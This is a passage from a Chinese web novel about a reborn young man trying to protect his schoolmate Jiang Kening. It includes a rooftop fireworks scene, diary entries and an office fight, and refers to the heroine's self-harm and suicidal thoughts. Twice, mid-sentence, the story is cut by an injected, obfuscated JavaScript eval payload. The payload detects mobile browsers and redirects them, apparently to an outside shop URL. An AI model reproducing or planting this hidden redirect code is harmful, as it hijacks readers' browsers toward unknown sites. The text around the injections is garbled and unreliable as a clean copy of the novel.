宋枝年预判了她的动作,故意侧身躲到墙边不让她看见。逗老婆可能是刻在他骨子里的爱好。 宋枝年靠在窗沿等了一会儿,没什么动静,结果等来了姜可宁的班主任。 宋枝年对她班主任的印象来源于姜可宁后来时不时的描述,姜可宁是别人对她一点好就会记得很久并且在心里无限放大的人。她高三的班主任是她后来唯一有联系的一位老师,原因是林老师曾经在她某一次成绩退步的时候对她说过“加油,老师很看好你。” 上辈子的姜可宁面对高考的时候是孤注一掷的,这句话给她很大的力量。 偏僻的孤岛上开出每一朵野花都是值得庆祝的。 宋枝年逃晚自习被抓包,自知理亏,朝林老师打了个哈哈,笑眯眯地摆了摆手,装出一副乖乖学生的样子。 林老师教语文,是学校年轻老师里的骨干,平日里风风火火一点就燃的性格让很多学生都对她比较敬畏,不过之前宋枝年很少来文科班,并不熟悉这边的生态。 她单手叉腰,另一只手拿着一叠灰色试卷打印纸,像是成绩单之类的东西。 “喂,宋枝年,你最近很出名啊。”林老师用手里卷成一捆的试卷纸敲了敲宋枝年的肩膀。 窗边的几个同学听得见外面的声音,都贴过来偷听,偏偏眼睛还要目不斜视盯着正在刷刷刷写字的笔尖。 宋枝年百口莫辩:“哪里哪里,老师我就是路过,这就走。” “别走呀,你总来找我们班第一名的小姑娘,得到我同意了吗?”她用一种狗妈妈护着小狗崽的语气说。 宋枝年觉得有点好笑,小幅度扯了扯嘴角,然后就被试卷纸敲了头。 “还敢笑,你实话实说,打的什么主意呢,我最近看见你好多次了,今天翘晚自习,明天是不是要把我们班小姜拐到理科班了?”窗边的同学估计把话像滚雪球一样传到姜可宁耳边去了。 宋枝年一边隔着墙壁用余光感受她的目光,一边继续糊弄林老师。“真没老师,我就是来问她点事儿。”宋枝年挠了一下后脖子,“我等会儿下课再来问。”然后嘿嘿笑了两声。 林老师:“别呀,有什么话当我面问嘛,让我也知道一下。”然后眼神往宋枝年身后瞟了一下。 窗帘一角被入冬的北风扬起,擦过宋枝年的手背,切割他身旁的光线,随后挡住了映在地上的半个影子,夜风拂过又回归平静,窗帘乖巧地垂落回窗沿,宋枝年看见自己再次变得清晰的影子旁边重叠着另一个小小的身影。 姜可宁不知道是被谁忽悠过来了,眼神懵懵懂懂,手里还捏着宋枝年刚刚扔进去的那张纸条。 宋枝年的心里好像被一只猫爪挠了一下,思绪又落回2022年的冬天,那个因为病毒肆虐而被誉为转折点的难忘冬天。人不能预判某个瞬间的价值,直到它成为永恒,后来的很多人说2018年是最幸福的一年,但万一真正再来一次就会像宋枝年一样诚惶诚恐,遗憾于抓不住在未来会怀念的每个瞬间。 宋枝年对幸福的感知并不明确,似乎每一年对他来说都差别不是很大,至于永恒,失去的那一刻他或许才真正感受到永恒,美好的东西不需要用永久二字来封锁,唯有痛苦会在往后的时光中如下不停的小雨缓慢地打湿生活的各方各面。当你世界中的每一面都出现水渍,痛苦就变成了永恒。 所以他并不赞美永恒,重来一次的他更珍视每一个能与爱的人在一起的每一秒,能让爱的人多笑一次的机会,如果可以, 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姜可宁就是这样的矛盾体,乐观和悲观在她身上交替上演,她用乐观的态度面对世界的万事万物,磕碜的野花在她眼里也可以是艳丽的玫瑰,没有过年氛围的夜晚也能用一支烟想象成绚烂的烟花。但她却用悲观的态度看待自己的整个人生,做不到把爱想象成治愈她的良药,不愿意把天天爱着他的宋枝年当作自己活下去的理由。 85. 几秒钟的时间,宋枝年又像是从很远的地方回到一个全新的世界。 脑中持续地有一根神经催促着他,宋枝年回头看姜可宁,她正用手不停地固执地抚平纸条上的折痕。察觉到目光,又愣愣地抬头和宋枝年对视,远处的几片枯叶被吹进走廊,两人的影子再次被笼罩在阴翳之下。 宋枝年从她手里拿过那张纸条,放进兜里,姜可宁还没反应过来,就被宋枝年牵起左手。 “老师,对不起,今晚人我先带走了,明天找你解释。”宋枝年迅速地向正用打量的目光审视他的老师说,然后拉着姜可宁就往前跑。 “喂!宋…” 2014年冬天的某个晚上,姜可宁收到了人生中第一张代表着友谊、爱情、甚至其他复杂情感的小纸条。 可上面其实只有一句话——“要不要跟宋枝年私奔一下。” 好像不管是什么话,只要冠上宋枝年三个字,在姜可宁心里就会代表许多东西,不明就里。 拆开纸团的一瞬,姜可宁并没有在心里回答“要不要”这个问题,她大概永远不会拒绝宋枝年的要求。她只是突然有一个念头,要把有关于宋枝年的东西都好好保存起来,找一个罐子把这些东西都放起来,就像存钱一样,一张纸条也好,一颗糖也好,无意中递过的面巾纸也好,她都要存进罐子里。 窗边的同学目睹了全过程,一个欢呼带动了本就一惊一乍的青春,高三九班在学习氛围浓厚的安静走廊边起了个大哄。 走廊尽头,宋枝年半捂住姜可宁的耳朵,搂着她往前跑。 26. 第二十六章 86. 宋枝年拉着姜可宁跑过印有两人名字和照片的年级红榜,跑过从前他没去过几次的食堂,跑过夏天会掉一地木棉花的操场,跑过那些他不曾参与的岁月,跑过满地的月光,跑过斑驳树影下满载着他所珍视又遗憾的每一瞬。 两人到出校门才停下,宋枝年握姜可宁的手握得很紧,像是不贴在一起就会被迫分离一样。 姜可宁缓了一会儿,顺了一下气,然后抠了抠宋枝年的手心。 这是她习惯的动作,表达的意思有很多,最多的是抱歉,从前宋枝年因为他伤害自己而生气,在她病床旁边冷着脸,她就笑眯眯地来牵他的手,抠他的手心,每次都用这个动作在说:对不起嘛,下次不会了。 宋枝年条件反射,一时不知道她是什么意思,犹疑了一下,以为是弄疼她了,然后便松开一点手。 姜可宁的神情突然有些不知所措,垂下的手伸出一点,只碰到了空气就缩回去。宋枝年第一回读不懂她一连串的小动作。 她像是有点纠结似地终于又伸出手,放得很低,并不理直气壮。 宋枝年不知道是什么意思,就问她:“嗯?伸手想要什么?” 姜可宁抿了抿唇,好像很难为情,又好像真的特别想要那样东西。 “小纸条,你刚刚给我的,又被你拿回去了。”宋枝年听见她说。 他愣了愣,手掏进口袋里摸出那张被她压平现在又变得有点褶皱的纸条,突然有点不知所措。 宋枝年在回忆姜可宁管他要过什么东西,管他伸手要过开口要过什么东西,好像从来没有,从来都是宋枝年想方设法把什么塞到她手里。 刚刚是担心林老师看到内容要说她,也担心别人万一别人看见了会生出闲言碎语,没怎么想就拿走了,就一个小纸条而已。 姜可宁是跟别人看上同一样东西,再想要大概都会拱手相让的那种人,从小到大苦涩的生活经验让她失去很多争取的欲望。 但她对宋枝年不一样,她也会报复得罪过宋枝年的人,也会不自觉地厌恶站在宋枝年对立面的人,不愿意向任何人伸手要什么东西的人,会为了一张宋枝年随意写来逗她开心的小纸条纠结很久然后说出想要。 就像一只非常护食的小刺猬,它有一个小浣熊朋友,其他刺猬都因为它没有同类的朋友孤立它,要抢它的东西吃,小刺猬虽然很护食,但为了保全自己,偶尔还是选择妥协。但某天小浣熊告诉小刺猬,自己没有东西吃了要饿死了,那天的小刺猬依旧被找了麻烦,但是它很勇敢地跟其他刺猬说不,即便最终被打得可怜兮兮的。 87. 宋枝年没有立刻把纸条给姜可宁,而是明知故问:“为什么想要?” 姜可宁动了动手指,抬眼看宋枝年,像是不可思议他会问出来,眼睛还是倔强地盯着宋枝年手里的纸,“就是想要。”她低声说。 宋枝年不逗她了,“跟我去一个地方,我就给你。” 姜可宁的眼睛亮了一下,“什么地方呀?” 宋枝年:“去不去嘛?” 姜可宁还在想她的纸条,宋枝年看出来了,“跟我去就现在给你。” 姜可宁:“好吧。” 88. 宋枝年带姜可宁走了一段路,拐进了一条巷子里,顺着开放的楼梯到天台,是一片废弃的空地。 这是他从前来过的地方,他上高中的时候,有几次跟朋友过来这里偷偷放烟花。 城市里一直不允许放烟花,2014年的禁令甚至比2024年还要严格,也许经历了很多事情之后,高层也认为能增强人民幸福度的事情数量实在有限了,应该睁一只眼闭一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044940|147240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只眼,于是人道主义地在过年期间允许市民在空旷的地方放烟花。 但是2024年的新年,姜可宁并不在宋枝年身边。 天台四周是有点黑的,虽然只有五六层高,但姜可宁毕竟有些恐高。她没戴眼镜,念书时营养不良还有点夜盲,最近宋枝年逼着她吃鱼油不知道有没有好一点。 总之姜可宁没有看见宋枝年摆在边上的两大箱烟花,或许在想,这个人把她带到了什么危险的地方。 但是护食的小刺猬总是无条件相信它唯一的小浣熊朋友。 快走到边缘的时候,姜可宁轻轻地扯了扯宋枝年的衣角,“这是什么地方啊。” 宋枝年笑了一下,从口袋里掏出打火机,蹭得一下,火光明亮了小范围的四周。 姜可宁眨了眨眼,目光终于移到脚边的两箱带着引线的烟花。 宋枝年没等她消化太久,他用打火机点燃一根准备好的长蜡烛,放到姜可宁手里。 暖黄色的烛光摇摇曳曳,像是从火焰内层开始激增暖意,蔓延出围绕在两人身边的热量。 宋枝年牵着她的手,金色的火苗触碰到引线,噼里啪啦的声音越来越近,几秒后,伴随一声闷响,一朵朵烟花追逐着在沉静的灰黑色的夜空中爆开。 姜可宁被毫无预兆的一场大概在她心里算作盛大的烟花吸引,目光投射在星光中。 宋枝年看着她的侧脸,柔和的光线在她全身周围都渲上了光晕。 他对姜可宁说:“你要记得今晚,好吗?” 姜可宁听到他的声音,马上回头了,眼睛里好像有些湿润,像蒙上一层透亮的水玻璃。 你要记得今晚,站在高的地方,想到的不要只是死亡和解脱,站在高的地方,你的身边有宋枝年,抬头就能看到为你绽放的漂亮的烟花,你一定要记得。 27. 第二十七章 89. 姜可宁是很容易感伤的人,多愁善感并不能完全形容她,她并不为愁而愁,她总是为感到幸福的瞬间发愁。 比方说吃到很好吃的食物,她并不会因为满足自己的口味感到开心,而是在担忧后面还能不能再吃到,或是再吃一次还会尝出这么好的味道吗。比方说和大学时和宋枝年一起实习的那段时间,她担心以后上班还会不会这么开心,毕业后是不是再也见不到宋枝年了。比方说这场烟花,转瞬即逝的美对她来说是残酷的幸福,她在开心的时候仍然不能完全开心,空虚会提前降临在她所有轻松时间的缝隙里。 就像热闹的派对还没开始,就已经在设想收拾残局的孤单。 十年后的她依然如此,即便清楚宋枝年对她是真心的,但充斥在她生命缝隙中的那些对于幸福的不安全感,让她一刻不停地否定自己这么些年来为活得更好而付出的努力又无法停下脚步。就像一根在悬崖两边绷紧的绳索,再用力一点就会扯断,放松一点又会掉下山崖。 念书时,总有一部分人用尽了力气,问遍了学习方法仍然提不起成绩,姜可宁在感受幸福这方面是一个差生,她吃的苦太多了,形成底气的童年她在面临失去父母的痛苦,培养个性的学生时期她在和一块两块的饭钱课本费做斗争。 所以好像她更加习惯并不顺遂的生活,似乎平常中那些她不满意的地方就像一滴不小心滴进清水的黑墨,扩散得到处都是,她因为这种污浊感到难受,就急切地往杯子里接清水,污浊慢慢被冲淡直至杯子里又是完整的清水。然后她突然发现澄澈的清水不是她想要的,她茫然地看着周围别人的水杯,里面的水好像也是五颜六色的,只有自己这杯是透明的索然无味的。 在经济宽松,不用再为基本生活奔波,得到她想要很久的爱之后,这杯清水上方慢慢落下了灰尘,渐渐凝成一块一块的垢附着在杯壁上,灌进更多的水也没办法冲走了,姜可宁就捧着这杯本来就不太喜欢的、现在还变得更坏的水发愁。终于在某一天,亲手把它倒掉。 烟花放到最后,天空上方有一层还没散尽的烟雾,声响缓缓变小直至全无,短暂明亮了的夜空即将恢复宁静。 “姜可宁,以后我还会给你放很多场烟花。”宋枝年告诉她。“还有很多你喜欢的地方,我都会陪你去看。” “不要舍不得,也不要觉得可惜,以后还有很多。”宋枝年说。 姜可宁再一次被准确地猜出心事,头脑中或许有一根柔软的神经触动了一下。 她用湿漉漉的眼神看着宋枝年说:“我…有点想你了。”宋枝年看见她眼睛里慢慢噙满了泪。 “我在啊,小傻瓜,我在呢。”宋枝年揉揉她的脑袋。 人会在天天见面的情况下诉说想念吗。会的,因为他们把每个瞬间都拆成分分秒秒藏在记忆深处,每一份都是不可复刻的、在下一个瞬间便会思念的存在。 90. 姜可宁常常觉得自己的运气实在不好,公司年会抽奖从没抽中,分组抽签领任务的时候却总是分到最重最难的一项。 但她善于编造让自己信服生活还是有盼头的谎言,准确来说是用一些小事情赌自己一天的幸运,她在某些事情上有着近乎执拗的迷信,本质上是对自我意识的挑战,她总是在为自己的生活寻找一个合理的出口。 比方说赌如果五秒后红灯变绿,快要数到五秒的时候,灯还是没绿,她就在心里打退堂鼓,不赌了不赌了,也不知道过没过五秒,绿灯接着一闪而过的黄灯亮了起来,姜可宁就松一口气,告诉自己,今天会顺顺利利。 宋枝年带着姜可宁走了一小段路,然后跟她说,“我们数一下,从这里走回家要多少步怎么样?” 姜可宁歪了一下头,眨眨眼睛又笑了一下,“宋枝年,你是小孩子吗?”她说。 宋枝年像暂时放置眼神一样看了看她干净纤细的手腕,“不数就算了。” 宋枝年没有移开眼睛,下意识地拉过她的手,手腕内侧向里,检查上面有没有划痕或是伤疤,小骗子对自己下手是真的狠,真敢用带着利齿的裁纸刀往自己手上一下一下划。 姜可宁以为宋枝年在生气,因为她没有立刻答应数步数,又不知道怎么让他不要生气。 巷子上方有户人家开了窗,拿一盆水正在浇花,水珠顺着兜住的铁栏杆,从楼上噼里啪啦地跳跃至着地,有几颗好像溅到宋枝年的鞋面。 “你生我气了吗?”姜可宁小声地问了。 宋枝年愣了愣,拇指摩挲了一下她的手腕,想到她第一次在家割腕的场景。“是啊,我有点生气。” “我没有不陪你玩嘛,那…你要怎么样才不会生气。”姜可宁像是很担心宋枝年情绪一样。 宋枝年看着眼前的人,心不在焉起来,“不知道啊,你答应我一件事情我就不生气。” 姜可宁眼睛一亮:“什么事啊?” “我还没想好。”宋枝年说。 她又发愁起来,“那怎么办呀?” “我想好了告诉你,以后再说。” 91. 姜可宁自己说数步数是小孩子干的事情,实际上数得比谁都认真。 曾经宋枝年跟她散步,到一个中心广场,里面有一条百步梯,说是百步梯,但是绝对大于一百个台阶,当时也是冬天的晚上,周围没什么人,氛围很好,两人肩膀挨着肩膀,手牵手,宋枝年心猿意马,想的是什么时候亲她。 结果姜可宁走到还剩十几个台阶的时候,就突然停下来,愣住一样站在原地。然后像是丢了唯一一根棒棒糖的小孩,被夺舍似的跟宋枝年说:“要超过一百步了。” 宋枝年当时并不知道她在心里暗自打赌,暗自许愿,又暗自注销愿望。之后无意间聊起来,才知道姜可宁当时心里想的是,如果走完所有台阶刚好到一百步的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085690|147240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那么他们就会在一起很久很久。 十七岁的姜可宁和二十七岁的她其实并没有什么本质上的不同,一样的天真,一样的一根筋一条路走到黑。只是十七岁的她仍相信自己会越过越好,二十七岁的她不想多在这个世界上哪怕多一天。 到家的距离宋枝年走过,不远,他就这么静静地牵着她,心里默默跟着她一起数着她的步数,数到快到一千步的时候,姜可宁像上辈子走那条百步梯一样停住了。 “多少步了?”宋枝年问。 “九百九十八。” “还有一小段,凑不到整数了。”宋枝年说,末尾还叹了一口气。“好可惜,本来以为刚好一千步的。” 姜可宁点点头,看不出什么情绪。只是跟以前一样,不舍得不愿意走,不想要增添一点点哪怕根本没有依据的也许会打破愿望的可能性。 宋枝年不知道这回她许的是什么愿。他走到她面前,用手拍拍肩膀,“来,我背你。”虽然千算万算还是没办法很巧地凑整,那超过的那部分他背着姜可宁走就可以了,她的愿望还是会得到心里的认可。 遮住上弦月的最后一片薄云散去,明月高悬上空,像一枚精心锻造的银饰,像宋枝年掏出来的心,想要放置在任何姜可宁抬头就能看到的地方。 姜可宁摇了摇头,好像做了什么不可告人的决定,“不用背,我们一起走吧,不是整数也没关系。” 然后她用手挽住宋枝年的胳膊,继续往前走,没有犹豫地跨过在她心里凑了整的一千步。 92. 2014.12.07 什么事情都自己一个人做确实会有点孤单,我性格太差了,大家都有自己的朋友,我不会说话,没什么人愿意带着一个像木头一样的人一起吃饭、上体育课。 今天晚自习的时候,后桌她们好像一直在写小纸条,一直压着声音在笑。有几次还不小心扔掉在了地上,我帮她们捡了一下,她们跟我说了谢谢。她们挺好的,憋着笑还会记得跟我说谢谢。不过快下课的时候林老师来巡堂了,发现她们在写小纸条,说了她们很久。 回家的时候看见有人在放烟花,很漂亮,我很久没有看见烟花了,只有过年的时候才能看到别人在放,以前爸爸妈妈偶尔会买一些回家。 2014.12.07 今天不知道是不是惹宋枝年生气了,我以后不跟他开玩笑了,得立刻答应他他才不会生气。楼上的人浇花还不小心把水溅在他的鞋上,好像还有点点脏了。唉,在我旁边的人运气好像真的会变差。 刚刚其实打了一个赌,赌到家能不能刚好是一千步,本来想赌刚好一千步的话,宋枝年就不生我气了,但是怕不成功,就换了一个。 如果超过一千步的话,那我就答应帮宋枝年做两件事,他本来说的是一件。结果真的超过一千步了,还好把赌注给换了,等以后再问问他想让我帮他干什么。 28. 第二十八章 93. 早上宋枝年来找姜可宁的时候,半路被他的班主任拦住,扯着袖子带进办公室里。宋枝年的班主任是一个长得像□□熊的大叔,名字里带个武,外号武爹,身高不高,微胖,训起人来中气十足。 起初,宋枝年以为是这次月考成绩退步,老师要关心学生心理状态有没有问题之类。直到在办公室看见姜可宁的背影,他又以为是有人去举报他俩早恋。 正当他准备开口解释,办公室里突然又多了一个人,也不知道是从哪冒出来的,反正是某位年级里的领导像领着失散的大熊猫回归保护区把他搂进办公室的。 宋枝年和姜可宁中间隔了半个桌子,两边都有老师在,宋枝年没有动手动脚,也没有靠得很近,当然也是他一只手就能把姜可宁搂过来的距离。 进办公室的第三个人是学校里有名的死装关系户,宋枝年并不反感关系户,有从娘胎里带出来的资源并不算是一件可以用来被厌恶被孤立的事情,但你张口闭口就是可以比别人少走很多步的优越感就是纯属死装又没种。 偏偏学校里某些谄媚的领导老师偏心偏到太平洋,上个课上一半还要专门停下来问一句“广距,你怎么看”“广距,是不是这样”,左一句右一句的不如给你俩开个房去探讨个三天两夜美利坚的阴谋论。 再者在宋枝年印象中这个人在高一的时候好像跟他结下过梁子,但距离过去太久,他记不清具体是什么原因,总之他见到这人就不爽。 正当宋枝年想开口问,出什么事了,把我俩和这东西一块儿叫来。 姜可宁的班主任给他们三个一人都递了一份资料,几所知名大学的自主招生报名条件和考试时间。 宋枝年班主任走过来,一只手撑着桌角,一只手拍拍宋枝年的肩膀,“你们三个,我们老师商量过了,是比较符合高校自主招生的要求的。” 宋枝年翻了一下,上面几所大学虽然层次都挺高,但并不是他和姜可宁上过的那所大学。 他顿时没了兴趣,而且也不太想姜可宁参加,万一等会儿有什么变数,上不了同一个大学,那找谁哭去? 宋枝年刚想委婉拒绝,林老师又起身接了杯水,摘掉快溜到鼻子的眼镜,“但是咱们学校的名额只有一个,枝年在理科班成绩最稳,可宁就不用说了,高三一年在文科英才班没掉出前三,嗯…广距特长比较多,加分项最多。” 说到这里,宋枝年看了一下姜可宁,发现她头垂得很低,披着的齐肩短发在她脸上落下半个阴影,手指不停搅着,身体一直不受控地往墙上靠,似乎非常受不了这个氛围,迫切想要远离。 关系户听到这话就来劲了,“老师,自主招生考试又不是书呆子去就能考好的。” 日光从透明的窗玻璃斜照进来,切割成一块一块的不规则的几何图形,姜可宁一半身体被阳光照到,一半身体藏在阴影里。 94. 像一道一闪而过的白光,宋枝年突然有些头疼,这一幕大概在他的眼前出现过。 原来姜可宁是在那个时候认识他的吗…… 不同于时而因冷风战栗,时而又因走进阳光晒过的柏油路感到暖洋洋的冬天,那是高一盛夏的一个对宋枝年来说很平凡的下午。 他正在操场上打球,突然来了一个人,说老师找他,球局正在最后的关键时刻,比分很近,黄昏前的阳光有些刺眼,宋枝年没有理会,抓住机会投进一个三分球,锁住比分,顺利结束了比赛,酣畅淋漓。 宋枝年接过不知道从哪个方向丢来的冰水,点了点头,然后在脖子上滚了两圈用来降温。他手指转着球上楼,突然一阵风从走廊穿堂而过,吹到他刚刚用冰水瓶子捂过的地方,有些凉飕飕的。 无意间,宋枝年回班拿书包路过办公室,想起来刚刚有人说老师找,就往里瞄了一眼。 当时姜可宁也站在那个办公桌旁边,单薄的身子直直地站着,垂在两侧的拳头半握,看起来一点力气都没有,落日余晖染成红色如丝带般倾洒进很多地方,但她的周围被四四方方的办公桌挡着,淹没在阴影里。 宋枝年刚打完球有点累,刚好那边风大,就放慢了脚步想吹吹风。 换了个角度看见姜可宁旁边还站着一个人,就是何广距,不只是他,长条黑色沙发上还坐着头顶上秃了一块的年级级长。 然后宋枝年有些不经意地不小心地就听见了他们的对话,准确来说,是听见姜可宁用类似于讲陈述句的语气说:“老师,按照文科成绩排名的话,奖学金名额是我的。” 附中在某种程度上依附于飞黄腾达的校友,学校里面的大礼堂、教室、食堂、甚至厕所有很多都是由校友捐赠,绝大部分人品不错的老师和舒适的学风校风让很多人毕业后仍会怀念母校,其中就包括许多已经赚了好几桶金的企业家。后来时间一长,捐赠风气助长,因为学校占地有限,赠无可赠,就开始成立各种奖学金项目。 附中的奖学金金额并不算小,某些奖项的数额甚至大过大学的奖学金。 三千块钱,对儿童时期的姜可宁,是一个模糊的概念;对中学时期的姜可宁,是不用紧着一颗心计算每一顿饭怎么吃最便宜的期盼;对大学时期的姜可宁,是或许可以少干一份兼职获得闲暇时间的自由。对步入社会的她,是就算花出去却无法得到一点快乐的虚无缥缈的数字。 级长听姜可宁这么说,没有作出什么表态,当时宋枝年并不认识她,只觉得天气可真闷。 站在一旁原本一言不发的何广距不知道触发了什么病根,突然很大声地说了一句:“得了便宜就别卖乖了,要不是你家里条件那样,林老师会把名额给你吗,切!” 姜可宁也许开始缓慢地疑惑,想不通就一直想,明明是对自己努力的嘉奖,为什么变成被别人用来践踏自尊否定全部的污点。 “老师,听说你找我。”宋枝年不知道什么时候什么原因就站了进来,像是路过一样地打破了办公室里的对话。 “啊…对,枝年你竞赛奖状到了,在你武老师桌面上。”坐在沙发上的老师像是找到了转移话题的机会,一时又不知道干什么,只好半站起来给宋枝年指奖状在哪,顺势补了一句想把人送走,“广距啊,你先回吧。” “老师,你还是自己跟我妈说吧,奖学金也是她让我申请的,就那么点钱谁稀罕,还不是为了那个荣誉称号。” 他说完还睨了姜可宁一眼,然后转身走出办公室,到门口的时候,宋枝年挪了一下,结果撞上他的肩,他后退几步,露出不耐烦的神情,被宋枝年居高临下看了一眼,又侧着身子走了,一副不敢多说一 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突然,办公室里就只剩下宋枝年跟姜可宁两个人,夕阳西下,最后一抹夕阳被云层吃了进去,始终没有一丝照到姜可宁身上,天空很快地从橙黄色变成一片雾蒙蒙的灰蓝。 姜可宁就像后来生病了的样子,眼神放空地盯着某一处虚空,在那些姜可宁封闭自己的日子里,她经常像这样发呆,偶尔叫她也不会应,不清楚是听不见还是没力气回答,宋枝年就常常观察她,猜测这样一双感觉永远含着水的眼睛,到底饱含怎样的深意。 “那个…同学。”宋枝年也不知道为什么要开口,或许只是不想太过沉默,打个招呼而已。 姜可宁很迟钝地转过头,眼睛里面没什么情绪,但是眼尾有些红。 “刚刚那个人说的话,你别放心上,他在学校挺出名的,很多人讨厌他。”宋枝年就这么说了一句并不像是正人君子的胡话,反而像是背后蛐蛐别人的小人。 姜可宁顿了顿,也不知道该作何反应,但是眼睛一直看着他,宋枝年能看见她左眼下方有一颗黑色的小痣,有一根碎发掉在了脖子那里,松松地搭着校服好像要掉到地上。 宋枝年换了一下拿篮球的手,“哦,没事儿,我就是觉得凭本事拿奖学金的人很厉害,反正我到现在一次都没拿到。” “宋枝年!”他的朋友喊了一声。 “在。” “还去不去北门了。” “马上!” ……四四方方的办公室里注满了凝固的空气,好像只有宋枝年在呼吸。 “谢谢你。”他听见面前这个一直被阴影笼罩着的姑娘小声说了一句。 那天,宋枝年走出办公室的时候,还是回头看了一眼,走廊的晚灯自动开了,米黄色的灯光遛了一缕进去,照到她的头顶。 宋枝年那天抱着球踢了门进去的,一样地抱着球出来,残余的空调冷气把运动完的燥热吹掉了,只是他还是没把那份奖状拿回去,后来老师也没再让他去拿。 就是这样的一句轻飘飘的他随口一说的、甚至算不上安慰的话,就是这样一张带着名字的、被他忘了奖项名称的奖状纸,被姜可宁惦念了后面的一整个高中。 95.(N)-日记(2012年) 2012.06.06 对不起,偷了你的奖状。宋枝年。 29. 第二十九章 96. 上课铃响了,是林老师的课,她还是挺护着姜可宁的,刚刚听那句话估计心里也有点生气,就找了理由把人给带回班了。宋枝年和何广距还在。 宋枝年不可能受得了这个气,姜可宁一走,抄起手边一包开封了的纸巾就往何广距脸上扔。“我去你大爷的。” 他没由来想起姜可宁后来很多次也在用书呆子这个词形容自己,有一回她说:“其实我还挺惊讶的,不知道你喜欢我什么,很多人说过你看起来不会喜欢像我这种书呆子的类型。” 宋枝年就说:“谁这么讲的,谁这么会看怎么不直接问我,反正别的类型我也不知道,我就喜欢你这样的。” 当时姜可宁已经生病了,控制不住就会往负面的方向去想,“跟我在一起很累很无聊吧。” 宋枝年耐心地哄她:“一点都不累啊,我见不到你才觉得日子没意思呢,宝宝,你不要乱想啦,要不我以后也开始记日记,记录我们的恋爱日常,隔一个月给你看一次,这样你就知道我跟你在一起有多幸福了。” 姜可宁听到这里笑了一下,然后说:“你看,还说不累,还要专门写日记逗我开心啊。” 她说话的语气柔柔的慢慢的,实际上像握着一把刀,刀刃向内,刺伤的永远是自己。 在这个把爱当作快餐大快朵颐的时代,在这个什么事情都要权衡利弊慎重选择的社会,即便是恋人大家也讲究付出对等,姜可宁坚定地相信不管怎样的爱都需要条件,有些别扭地难以接受宋枝年好像真的没有条件的爱。 而这些都源于她在与这个世界打交道时受到的伤害,源于独自面对每个日出日落的孤独,源于宋枝年不在场时别人对她的恶意。 97. 没人想到宋枝年会直接在办公室因为一句话大打出手。 在宋枝年揪着何广距的衣领往墙上撞的时候,何广距懵了一秒,然后开始反抗,老师们没来得及拉开他。 “我操。”何广距做了半辈子小少爷公子哥,到了学校更是万众瞩目没人敢惹,没被这么羞辱过,就破罐子破摔,拿头往前磕,重重地撞了宋枝年一下。 一旁的老师赶紧向前,把两人拉开,“宋枝年你要死啊!”他听见老师在他耳边大吼了一句,额头被那个死东西磕得还有点疼,这下耳膜都快裂了,他看见比他矮了半截的小老头把手上的教案放下,赶走了门口正在偷看的同学,然后把门轻轻关上,又气势汹汹地走来。 “你有种是吧?敢在办公室打架了?你这个节骨眼想背处分吗?啊?”宋枝年听得耳朵都嗡嗡的。 “我处不处分无所谓,他必须给姜可宁道歉。”宋枝年说。 “我道个鬼歉,说她是书呆子我说错了吗?有病。”何广距在一旁发出难听的声音。 宋枝年火一下蹭起来,又去揪他领子。不过这次被拦住了。 老师用恨铁不成钢的表情看他,“你傻了吗!你脑子里装的都是什么!之前我不想说你,你是谈恋爱把脑子谈傻了吗,啊?” “你觉得自己很帅很酷是吗?你是她什么人啊,用得着你这么出头吗?” “有别人吗?我不给她出气谁给她出气啊!” 宋枝年往后指了何广距的方向,“他不是第一次欺负人了,有谁在意过吗?你们害怕我不怕,我就看不惯他。” 何广距也没闲着,跟受了多大伤一样用手捂着没出血的额头,嘴里嘀咕着什么你等着瞧之类的话。宋枝年回头准备骂死他,突然感觉旁边有一阵风,有什么东西丢了过来。 他下意识侧过头,然后听见哗啦一声,课本的书角扫过侧脸,有点刺痛,他用手背碰了一下,看见几点红色的血珠。 98. 武老师说话急,但也是真心疼学生,看见宋枝年脸都出血了,态度立刻就变了,脸色黢黑,像一只被夺食的大猫。 第一次没有碍于何广距那个听说是省级干部的爹,也放了一句狠话:“你也是,还高素质人才,出去都别说是附中的。” 虽然把宋枝年一并给骂了,但他觉得也不算太亏,这种人不给点教训是真把自己当个东西。 宋枝年把刚刚砸他脸上的课本捡起来,走到何广距旁边,用课本的一面抵到他胸口,武老师以为他又要动手。“喂!你老实点。” 宋枝年用警告的眼神看何广距,“下次再被我知道一次,你完了。” 武老师啧了一声,“宋枝年你语言恐吓也不叫老实。” 宋枝年放完话又装起乖学生,“武爹,那我就滚回班里老实读书了。” “你等会儿,你,那边那个。”杨武指了指何广距,“你先滚吧。” 宋枝年差点没憋住笑,心里想起后来上大学之后有人跟他说的一句话,“有人味的老师不多了” 何广距像是被孤立一般地赶走,又因为本质上是个胆小的人,被宋枝年闹这么一场,估计急需扑到父母怀里求安慰才能好起来,灰溜溜地走出去。 杨武换了个坐姿,话到嘴边又咽回去。 宋枝年看出来了,“老师,你有话直说吧,万一真要因为今天这事处分我也没事,反正何广距也动手了,就凭我脸上这伤他也得领个处分回去,刚好,我们两个都黄了,这下名额只能给姜可宁了。” 杨武:“宋枝年,你是真的有病。” 宋枝年:“骂够了没啊…” 杨武:“你跟文科班那个姜可宁,怎么回事,老实交代。” 宋枝年:“首先,我打他纯属个人恩怨,顶多算他又撞我枪口上,至于跟姜可宁什么关系,看您怎么理解了。”宋枝年在心里想着,或许,我说自己是她未婚夫您信吗。 